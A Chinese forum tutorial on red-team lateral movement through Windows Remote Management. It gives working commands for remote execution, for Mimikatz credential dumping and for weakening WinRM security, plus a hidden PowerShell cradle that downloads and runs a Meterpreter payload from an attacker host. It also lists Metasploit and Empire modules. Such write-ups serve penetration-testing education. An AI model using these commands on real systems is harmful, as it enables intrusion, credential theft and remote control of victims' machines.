横向移动 – WinRM

spider   ·   发表于 2023-06-22 16:56:46   ·   技术文章

前言

同学们可能没有听说过WinRM横向移动技术,今天我给大家分析讲解一波儿
看不懂也没关系,先看看有个大概的概念,以后慢慢就懂了

技术解释

WinRM 代表 Windows 远程管理,是一种允许管理员远程在系统上执行管理任务的服务。通信通过 HTTP (5985) 或 HTTPS SOAP (5986) 执行,默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证。使用此服务需要管理员级别的凭据。

在红队场景中,如果已获得本地管理员访问权限,则如果使用 WinRM 管理服务器,则这些凭据可用于网络内部的横向移动。

端口发现利用

打开端口 5985 的主机正在运行 WinRM 服务。可以使用简单的 Nmap 扫描来确定这些主机

  1. nmap -p 5985 -sV 10.0.0.2 10.0.0.1


如果端口 5985 打开但端口 5986 关闭,这说明着 WinRM 服务配置为仅接受通过 HTTP 的连接并且未启用加密

从已经具有本地管理员访问权限且这些权限与目标系统共享的系统中,PowerShell Invoke-Command可用于通过 WinRM 服务执行命令

  1. Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }


Mimikatz 还可以远程执行以检索存储在内存中的凭据,而无需将任何二进制文件放入磁盘

  1. Import-Module ./Invoke-Mimikatz.ps1
  2. Invoke-Mimikatz -ComputerName TARGET


然后,这些凭据可用于访问其他系统,这会导致域升级

对于不运行 WinRM 的系统,可以使用合法的 Windows 服务来启用和配置此服务以实现持久性。以下命令将启用 WinRM

  1. Enable-PSRemoting -Force


默认情况下,可能无法通过 WinRM 连接到另一个系统,并且可能需要其他配置。以下命令将有助于正确配置服务,以便从任何主机进行 HTTP 访问

  1. winrm quickconfig
  2. winrm set winrm/config/Client <span class="label label-primary">@{AllowUnencrypted</span> = "true"}
  3. Set-Item WSMan:localhost\client\trustedhosts -value *

WinRS

Windows 远程外壳​​ (WinRS) 是一个命令行工具,是 Windows 2008 及更高版本的一部分。如果启用了 WinRM,则可以使用该实用程序在主机上远程执行命令。cmd参数将通过命令提示符建立一个新的 shell

  1. winrs -r:http://WIN-2NE38K15TGH/wsman "cmd"


或者,可以执行命令来代替 shell 命令提示符,以便对目标执行静默侦察

  1. winrs -r:http://WIN-2NE38K15TGH/wsman "net localgroup administrators"


还可以通过 Metasploit 网络交付模块将 Windows Remote Shell 访问升级为 Meterpreter 会话。该模块将生成一个有效负载,该有效负载将在本地托管,并将生成需要在目标上执行的 PowerShell 命令。

  1. use multi/script/web_delivery


从已通过 WinRS 连接的系统执行 PowerShell 命令将下载并执行任意代码

  1. powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('https://10.0.0.3:8080/4WM88bQsuZS');


Meterpreter 会话将打开,这将在后期开发活动方面提供更大的灵活性。


可以使用命令会话和关联的会话号来实现与新系统的交互。

元分析软件

Metasploit Framework 有多个模块,可用于发现启用了 WinRM 服务的主机、发现服务身份验证的凭据以及执行任意命令和代码。以下模块可以发现启用了 WinRM 服务的系统及其支持的身份验证协议。

  1. auxiliary/scanner/winrm/winrm_auth_methods


如果已获取本地管理员凭据,则可以使用这些凭据通过 WinRM 服务对其他主机进行身份验证。以下模块可以确定本地管理员凭据对于其他系统是否有效。

  1. auxiliary/scanner/winrm/winrm_login


Metasploit 还有一个可以通过 WinRM 服务执行任意命令的模块。该模块需要本地管理员凭据、域和目标主机。

  1. auxiliary/scanner/winrm/winrm_cmd


命令的输出将被返回:

也可以通过 WinRM 和以下模块执行任意代码。该模块需要本地管理员凭据和代码将执行的主机列表。该模块可用于横向移动到共享同一本地管理员帐户的主机。

  1. exploit/windows/winrm/winrm_script_exec


在利用该模块时,该模块将尝试修改 PowerShell 执行策略以允许执行未签名的脚本。然后一个 PowerShell 脚本将被写入磁盘并自动执行以返回一个 Meterpreter 会话。该模块还将尝试迁移到 SYSTEM 级别的进程,以避免因 WinRS 的时间限制而丢失 shell。


Empire
利用 Empire 的参与,有一个PowerShell 模块,可以通过 WinRM 远程执行代码,以扩展网络内的访问。使用此模块的要求是:本地管理员凭据、侦听器、代理和目标主机

  1. usemodule lateral_movement/invoke_psremoting


可以使用命令代理来检索活动代理的列表。以下命令将与新代理 X5DACN91 交互。
interact

可以在通过 WinRM 服务受到损害的主机上执行攻击后命令


Empire – 通过 WinRM 执行命令

本次攻击演示到此结束~

用户名金币积分时间理由
Track-魔方 1500.00 0 2023-07-02 16:04:27 深度: 600 普适性:100 可读性 200 稀缺度 100 原创 500

打赏我,让我更有动力~

1 条回复   |  直到 2023-7-2 | 812 次浏览

Track-魔方
发表于 2023-7-2

原创这个说法有点问题,是唯一平台发布:500

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.